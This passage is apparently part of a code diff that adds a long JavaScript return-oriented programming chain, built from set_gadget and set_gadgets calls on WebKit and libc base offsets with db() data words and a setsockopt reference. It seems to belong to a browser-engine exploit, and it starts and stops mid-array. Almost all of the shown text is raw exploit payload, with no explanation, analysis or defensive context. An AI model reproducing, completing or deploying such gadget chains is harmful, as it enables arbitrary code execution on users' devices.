0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+290936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+290952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+291048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+291032, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+291144, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+291288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+291304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+291272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+291480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+291496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+291464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+291624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+291656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+291640, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+291768, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+291760, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+291784, +ropchain+291800, +libc_base+489696, +ropchain+291816, +libc_base+489696, +ropchain+295784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+292064, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+292152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+292168, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+292312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+292328, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+292296, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+292416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+292432, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+292576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+292544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+292560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+292648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+292704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+292800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+292888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+292904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+293064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+293096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+293048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+293080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+293256, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+293208, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+293224, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+293336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+293352, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+293440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+293496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+293624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+293656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+293640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+293816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+293848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+293800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+293832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+293928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+293944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+294040, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+294024, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+294144, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+297248, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+294288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+294304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+294272, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+294432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+294464, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+294448, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+294576, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+294568, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+294592, +ropchain+295056, +libc_base+388400, +libc_base+713278, +ropchain+294664, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+294824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+294856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+294808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+294840, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+294936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+294952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+295048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+295032, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+295112, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+295200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+295216, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+295376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+295408, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+295360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+295392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+295504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+295488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+295592, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+295664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+295728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+290504, +libc_base+489696, +ropchain+277992, +libc_base+713278, +ropchain+295856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967032, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+295944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+295960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+296120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+296152, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+296104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+296136, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+296248, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+296232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([65535, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+296360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+296512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+296528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+296496, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+296656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+296672, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+296640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+296776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+296792, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+296912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+296896, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+297000, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+296984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+297104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+297120, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+297240, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+297224, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+298568, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+298640, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+298704, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([264, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+298856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+298872, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+299032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+299064, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+299016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+299048, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+299160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+299144, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+299256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+299344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+299360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+299504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+299472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+299488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+299608, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+248952, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+299696, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+299824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+299840, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+300000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+300032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+299984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+300016, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+300128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+300112, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+300224, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+300312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+300328, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+300472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+300440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+300456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+300664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+300752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+300768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+300928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+300960, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+300912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+300944, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+301056, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+301040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+301160, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+304352, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+301304, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+301320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+301288, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+301448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+301480, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+301464, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, 